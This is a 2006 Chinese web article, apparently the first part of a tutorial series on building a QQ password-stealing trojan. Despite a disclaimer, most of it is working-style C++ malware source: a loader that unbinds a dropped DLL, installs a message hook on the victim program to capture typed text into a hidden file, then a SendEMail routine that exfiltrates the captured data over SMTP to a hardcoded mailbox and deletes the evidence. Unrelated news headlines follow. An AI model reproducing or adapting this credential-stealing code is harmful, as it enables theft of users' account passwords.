分享
 
 
 

自己动手做QQ木马-----总序

王朝vc·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

自己动手做QQ木马-----总序

声明:

本文只适合初学者,“帮助”他们从重复无趣的书本练习中解脱出来,真正的做一个他们感兴趣的东西。毕竟在枯燥无味的编程世界里,兴趣还是坚持向前的原动力,同时也揭开网上各种各样的QQ密码截取器的神秘面纱。郑重声明本人公布这篇文章并不鼓励大家去窃取他人的帐号密码,所以在此只贴出一些重要的体现技术原代码。

废话不多说了,先介绍一下本程序的构思及使用的相关技术。

1.手动或自动绑定目标文件,自动分解出DLL和原文件并运行。

本程序使用的绑定文件技术是最原始的,会被杀毒软件轻易识破,被绑定的文件结构如下:

当然也可以通过修改PE文件结构,插入木马程序到SECTION中,该方法技术要求比较高。(本人没去实践过,在这里就不多说了)

2.调用自己分解出的DLL,对目标文件运行的相关线程设置消息钩子。将截获的文本内容存储在指定的文件中。

3.从指定的文件取得发送内容,使用ESMTP发送邮件到指定信箱

在看看程序的制作及运行流程:(建议把图拷下来用ACDSEE放大看,该图是使用Visio做的,做的不好,见笑了)

上图说明:Setup.exe是本程序编译连接后的执行的第一个文件

Hook.dll是导出挂钩函数的动态连接库

Server.exe是Setup.exe运行后绑定了Hook.dll的PE文件,它可以绑定除DLL文件外的所有文件

123456.exe是Temp.exe运行后分解出的内容与Server.exe相同的PE文件

下面分析一下主程序的代码:

if (!AfxSocketInit())

{

AfxMessageBox("IDP_SOCKETS_INIT_FAILED");

return FALSE;

}

//通过本文件的长度来确定该程序的运行方式

CBindFile curFile;

if(!curFile.Initiate()) //主要枢纽,将在后面的绑定文件类中详细说明

return true;

//取得分解出的PE文件运行进程信息

PROCESS_INFORMATION PI;

ZeroMemory(&PI, sizeof(PI));

curFile.GetRunFileProcessInfo(PI);

//等待该子进程进入消息循环

if(0 != WaitForInputIdle(PI.hProcess, INFINITE))

{

MessageBox(NULL, "等待进入消息循环出错!", NULL, NULL);

return false;

}

//开始挂钩

hDllModule = GetModuleHandle("hook.dll");

if(NULL == hDllModule)

{

hDllModule = LoadLibrary("hook.dll");

if(NULL == hDllModule)

{

MessageBox(NULL, "DllModule is NULL", "PRINT", MB_OK);

return false;

}

//取得导出函数的地址

Hook_Start Hook_Start_Address;

Hook_Start_Address = (Hook_Start)GetProcAddress(hDllModule, "Hook_Start");

if(NULL == Hook_Start_Address)

return false;

if(!(Hook_Start_Address)(PI.dwThreadId))

{

MessageBox(NULL, "Can not complete hook!", NULL, NULL);

return false;

}

}

//等待分解出的第二个文件运行的程序结束

DWORD dwWaitingTime = 2*60*1000; //等待时间为2分钟

WaitForSingleObject(PI.hProcess, dwWaitingTime);

DWORD dwExitCode;

GetExitCodeProcess(PI.hProcess, &dwExitCode);

//2分钟后结束挂钩

if(NULL != hDllModule)

{

Hook_Stop Hook_Stop_Address;

Hook_Stop_Address = (Hook_Stop)GetProcAddress(hDllModule, "Hook_Stop");

if(NULL == Hook_Stop_Address)

{

::FreeLibrary(hDllModule);

return false;

}

(Hook_Stop_Address)();

::FreeLibrary(hDllModule);

}

//发送邮件

SendEMail();

//运行结束后删除分解出的临时文件

if(STILL_ACTIVE == dwExitCode)

{

WaitForSingleObject(PI.hProcess, INFINITE);

GetExitCodeProcess(PI.hProcess, &dwExitCode);

}

CloseHandle(PI.hThread);

CloseHandle(PI.hProcess);

DeleteFile(curFile.GetSecFilePath());

return true;

下面是SendEMail函数

bool CSetupApp::SendEMail()

{

HANDLE hFile = NULL;

DWORD dwDummy = 0;

BOOL

bResult = FALSE;

TCHAR *lpFileString = NULL; //文件数据缓冲区

DWORD dwFileSize = 0; //文件长度

hFile = CreateFile(FILE_PATH_NAME, GENERIC_READ,

FILE_SHARE_READ, NULL,

OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);

if(INVALID_HANDLE_VALUE == hFile)

return false;

dwFileSize = GetFileSize(hFile, NULL);

lpFileString = new TCHAR[dwFileSize+1];

if(NULL == lpFileString)

return false;

ZeroMemory(lpFileString, dwFileSize+1);

SetFilePointer(hFile, 0, NULL, FILE_BEGIN);

bResult = ReadFile(hFile, lpFileString, dwFileSize, &dwDummy, NULL);

CloseHandle(hFile);

if(0 != lstrlen(lpFileString))

{

//将数据文件发送到指定的信箱

MAILMSG mailMsg;

lstrcpy(mailMsg.mail_server_name, "smtp.21cn.com");

mailMsg.mail_server_port = 25;

lstrcpy(mailMsg.mail_account, "zyfxyz");

lstrcpy(mailMsg.mail_password, "12345678"); //这里最好使用加密后的字符串,//不然的话在PE文件的.data节中//可以看到你的密码

lstrcpy(mailMsg.mail_from_address, "zyfxyz@21cn.com");

lstrcpy(mailMsg.mail_to_address, "zyfxyz@21cn.com");

lstrcpy(mailMsg.mail_subject, "Return");

ZeroMemory(mailMsg.mail_content, sizeof(mailMsg.mail_content));

if(dwFileSize > 800) //每次发送的DATA内容大小不得超过1000bytes

dwFileSize = 800;

lstrcpyn(mailMsg.mail_content, lpFileString, dwFileSize+1);

CSmtp_fz smtp(mailMsg);

if(smtp.SendMail())

{

//如果发送成功则删除数据文件

MessageBox(NULL, "发送成功,删除数据文件", NULL, NULL);

DeleteFile(FILE_PATH_NAME); //FILE_PATH_NAM文件存放截获文本数据

}

}

delete[] lpFileString;

return true;

}

后面几篇将分别详细解释绑定文件类CBindFile,邮件发送类CSmtp_fz以及Hook.dll的代码。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有